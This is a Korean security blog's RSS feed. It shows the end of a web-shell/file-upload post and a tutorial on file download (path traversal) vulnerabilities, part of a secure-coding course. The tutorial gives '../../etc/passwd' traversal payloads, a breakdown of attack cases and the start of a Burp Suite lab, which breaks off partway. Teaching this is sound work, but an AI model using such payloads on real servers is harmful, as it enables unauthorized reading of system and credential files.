&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;841&quot; data-origin-height=&quot;656&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bHoL1i/btsMvxxJJQJ/Hcs7KFddPTftxaUmwUMRUk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bHoL1i/btsMvxxJJQJ/Hcs7KFddPTftxaUmwUMRUk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bHoL1i/btsMvxxJJQJ/Hcs7KFddPTftxaUmwUMRUk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbHoL1i%2FbtsMvxxJJQJ%2FHcs7KFddPTftxaUmwUMRUk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;841&quot; height=&quot;656&quot; data-origin-width=&quot;841&quot; data-origin-height=&quot;656&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>웹 해킹/웹 해킹 및 시큐어 코딩 기초</category>
      <category>시큐어 코딩</category>
      <category>웹 해킹</category>
      <category>웹쉘</category>
      <category>파일 업로드 취약점</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/212</guid>
      <comments>https://it-log.tistory.com/212#entry212comment</comments>
      <pubDate>Tue, 25 Feb 2025 22:00:24 +0900</pubDate>
    </item>
    <item>
      <title>파일 다운로드 취약점</title>
      <link>https://it-log.tistory.com/211</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;1)&lt;b&gt; 파일 다운로드 취약점이란 무엇인가?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;File Download Vulnerability&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 사용자가 파일을 다운로드 받을 때 발생되는 취약점&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버에 있는 파일을 다운로드 받는 기능에 대해서 정상적인 파일이 아닌 비정상적인 파일을 다운로드 받는 취약점&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 공격 대상: 파일 다운로드 기능&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1491&quot; data-origin-height=&quot;596&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UmR5y/btsMcZ7yXsr/q251iAdbgDkxGb7EkpRfE0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UmR5y/btsMcZ7yXsr/q251iAdbgDkxGb7EkpRfE0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UmR5y/btsMcZ7yXsr/q251iAdbgDkxGb7EkpRfE0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUmR5y%2FbtsMcZ7yXsr%2Fq251iAdbgDkxGb7EkpRfE0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1491&quot; height=&quot;596&quot; data-origin-width=&quot;1491&quot; data-origin-height=&quot;596&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반 사용자는 파일 다운로드 기능을 사용하여 지정된 경로에서 정상 파일을 다운로드 받는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자는 파일 다운로드 기능을 사용하여 지정되지 않은 경로에서 비정상 파일을 다운로드 받는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 파일 다운로드 할 수 있는 경로를 변조&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 경로 이동 문자(../) 사용하여 지정된 경로가 아닌 상위 디렉터리에서 소스코드, 서버 설정 파일 등을 다운로드&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정상 파일: 지정된 경로에서 다운로드 받는 파일&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비정상 파일: 지정된 경로가 아닌 경로에서 다운로드 받는 파일&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결론&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 파일 다운로드 기능에 사용하여 비정상적인 파일을 다운로드 받는 취약점&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 경로 이동 문자를 삽입하여 지정된 경로가 아닌 경로에서 비정상적인 파일을 다운로드 받음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 파일 다운로드 시 지정된 경로를 벗어날 수 있다면 파일 다운로드 취약점이 존재한다고 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2) 공격 원리 분석&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;어플리케이션 관점에서 공격자가 파일 다운로드 기능에 대해서 파일 다운로드 취약점 공격을 할 때 어떻게 동작하는지 확인 &lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1429&quot; data-origin-height=&quot;766&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BHY0i/btsMdn8lDmM/NfomD5kIQmbgLCkIIrR4lK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BHY0i/btsMdn8lDmM/NfomD5kIQmbgLCkIIrR4lK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BHY0i/btsMdn8lDmM/NfomD5kIQmbgLCkIIrR4lK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBHY0i%2FbtsMdn8lDmM%2FNfomD5kIQmbgLCkIIrR4lK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1429&quot; height=&quot;766&quot; data-origin-width=&quot;1429&quot; data-origin-height=&quot;766&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;step 1) 공격자로부터 입력값을 받음&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- /webroot/upload/ 경로에서 파일 다운로드를 받는 기능이 존재&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 사용자로부터 파일명을 입력 받음, ex) 운동화.png, 북한산풍경.png, 배경1.png&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 공격자는 리눅스 시스템에 등록된 사용자 정보가 담긴 /etc/passwd 파일을 다운로드 하기 위해 ../ 를 사용함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 경로 이동 문자 ../ 를 사용하여 상위 디렉터리로 이동하게 되며, /etc/passwd 경로의 위치에 상관없이 ../ 를 많이 사용하여 최상단 경로로 도달하면 됨 &amp;rarr; 최상단 디렉터리로 이동하기 위해 ../../etc/passwd 를 사용해도 되지만, ../../../etc/passwd 를 사용해도된다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 클라이언트 관점에서는 서버 사이드에서 웹 서버 파일의 경로가 어떻게 구성되어 있는지 모르기 때문에, 경로 이동 문자 ../ 를 최상단에 도달할 때까지 사용해도 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1419&quot; data-origin-height=&quot;768&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dD4viU/btsMcZsZu59/2flKy0K8PLgloebBRFiexK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dD4viU/btsMcZsZu59/2flKy0K8PLgloebBRFiexK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dD4viU/btsMcZsZu59/2flKy0K8PLgloebBRFiexK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdD4viU%2FbtsMcZsZu59%2F2flKy0K8PLgloebBRFiexK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1419&quot; height=&quot;768&quot; data-origin-width=&quot;1419&quot; data-origin-height=&quot;768&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;step 2) 사용자 입력값과 기존의 경로가 조합됨&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 경로 이동 문자 ../ 가 존재함으로써 상위 경로로 이동하게 됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1414&quot; data-origin-height=&quot;765&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ptk0T/btsMb2D9obE/JUi6rK1gYyAeAN9XLpiiP0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ptk0T/btsMb2D9obE/JUi6rK1gYyAeAN9XLpiiP0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ptk0T/btsMb2D9obE/JUi6rK1gYyAeAN9XLpiiP0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fptk0T%2FbtsMb2D9obE%2FJUi6rK1gYyAeAN9XLpiiP0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1414&quot; height=&quot;765&quot; data-origin-width=&quot;1414&quot; data-origin-height=&quot;765&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;step 3) 사용자 입력값 + 기존 경로를 조합한 경로의 파일 입력하여 파일을 호출&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버 내 ../../etc/passwd 경로의 파일을 불러옴&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1420&quot; data-origin-height=&quot;760&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dFZ6V7/btsMbbBOedB/x8Re70zvsDDPsq0EwKUlKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dFZ6V7/btsMbbBOedB/x8Re70zvsDDPsq0EwKUlKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dFZ6V7/btsMbbBOedB/x8Re70zvsDDPsq0EwKUlKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdFZ6V7%2FbtsMbbBOedB%2Fx8Re70zvsDDPsq0EwKUlKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1420&quot; height=&quot;760&quot; data-origin-width=&quot;1420&quot; data-origin-height=&quot;760&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;step 4) HTTP 응답 메시지 제작 및 전송&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 공격자가 요청한 ../../etc/passwd 파일을 받은 후, HTTP 응답 메시지를 제작하여 공격자에게 전송&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;파일 다운로드 취약점의 핵심 포인트는 기존 경로의 강제 변조이다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3) 공격 방법&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1295&quot; data-origin-height=&quot;793&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dvMMdK/btsMcQQuQ8U/fO81FtjPh3wPkJTKTyEKXk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dvMMdK/btsMcQQuQ8U/fO81FtjPh3wPkJTKTyEKXk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dvMMdK/btsMcQQuQ8U/fO81FtjPh3wPkJTKTyEKXk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdvMMdK%2FbtsMcQQuQ8U%2FfO81FtjPh3wPkJTKTyEKXk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1295&quot; height=&quot;793&quot; data-origin-width=&quot;1295&quot; data-origin-height=&quot;793&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;CASE 1 : 단순히 파일명만 받는 경우&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 소/중규모 웹 서비스일 가능성이 높다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 리눅스/유닉스의 경우에는 ../../etc/passwd 를 주로 사용하지만, 윈도우는 최상위 디렉터리에 받을것이 없다. (윈도우는 파티션을 분리해놓기 때문에 최상위 디렉터리에 디폴트로 된 것이 없다. - 전체 경로를 받지 않는 이상 파티션 이동이 불가)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 윈도우는 파일 다운로드 시 지정된 경로가 웹 디렉터리인 경우 index 파일을 받음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 경로 이동 문자 ../ 를 삽입하여 지정된 경로를 벗어날 수 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;CASE 2 : 사용자로부터 일부의 경로(path), 파일명(filename)을 입력 받는 경우&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 중/대규모 웹 서비스일 가능성이 높다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 파일 경로 세분화, 게시판 분류별로 디렉터리를 분류(notice, image, event 등등) &amp;rarr; 다수의 사용자인 경우 용이하게 관리하기 위해 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 일부 경로를 받는 부분에 ../ 문자를 삽입해도 되고, 파일명에 ../ 문자를 삽입해도 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;CASE 3 : 전체 경로(Full path)가 나온 경우, 잘못된 예시&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 전체 경로를 표시하는것은 불필요하다. &amp;rarr; 공격자에게 큰 힌트가 됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 일부 경로만 공개하는 것이 바람직한 설계&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 공격자는 /etc 경로만 입력해도 공격이 가능, ../ 입력하지 않아도 됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;운영 체제별 경로 구분 기호&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 55.2306%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 23.5557%; text-align: center;&quot;&gt;&lt;b&gt;OS&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 27.106%; text-align: center;&quot;&gt;&lt;b&gt;구분 기호(Separator)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 23.5557%; text-align: center;&quot;&gt;Unix, Linux&lt;/td&gt;
&lt;td style=&quot;width: 27.106%; text-align: center;&quot;&gt;/&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 23.5557%; text-align: center;&quot;&gt;Windows&lt;/td&gt;
&lt;td style=&quot;width: 27.106%; text-align: center;&quot;&gt;/&lt;br /&gt;\ (역 슬래시)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Windows 는 / 와 \ 둘다 가능하므로, 두 가지다 염두에 두고 공격과 방어를 해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습7-1 파일 다운로드 취약점 공격 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 다운로드 공격 실습을 위해서 파일 다운로드 기능을 먼저 찾아야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;업로드된 게시글을 참조해서 파일 다운로드 기능을 확인해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 게시글을 작성하며 임의의 txt 파일을 업로드 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;941&quot; data-origin-height=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4fB5v/btsMcRaStNF/AlkxHjiodggljzCLvu1vhk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4fB5v/btsMcRaStNF/AlkxHjiodggljzCLvu1vhk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4fB5v/btsMcRaStNF/AlkxHjiodggljzCLvu1vhk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4fB5v%2FbtsMcRaStNF%2FAlkxHjiodggljzCLvu1vhk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;941&quot; height=&quot;860&quot; data-origin-width=&quot;941&quot; data-origin-height=&quot;860&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글 작성 후, 게시글을 클릭하여 버프스위트에서&amp;nbsp; Intercept On 클릭 후 파일 다운로드를 시도한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;649&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/D7Mhe/btsMbEjgJi1/gHjj7RIgaAZ5MWEfdujPKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/D7Mhe/btsMbEjgJi1/gHjj7RIgaAZ5MWEfdujPKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/D7Mhe/btsMbEjgJi1/gHjj7RIgaAZ5MWEfdujPKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FD7Mhe%2FbtsMbEjgJi1%2FgHjj7RIgaAZ5MWEfdujPKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;945&quot; height=&quot;649&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;649&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일을 클릭하면 다음과 같이 요청 메시지가 전송된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 요청을 리피터로 보낸다.( Ctrl + R )&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1026&quot; data-origin-height=&quot;594&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Pf7ho/btsMdqKKyXN/U6WHDfCfZCdj4fhSEPWgU1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Pf7ho/btsMdqKKyXN/U6WHDfCfZCdj4fhSEPWgU1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Pf7ho/btsMdqKKyXN/U6WHDfCfZCdj4fhSEPWgU1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPf7ho%2FbtsMdqKKyXN%2FU6WHDfCfZCdj4fhSEPWgU1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1026&quot; height=&quot;594&quot; data-origin-width=&quot;1026&quot; data-origin-height=&quot;594&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
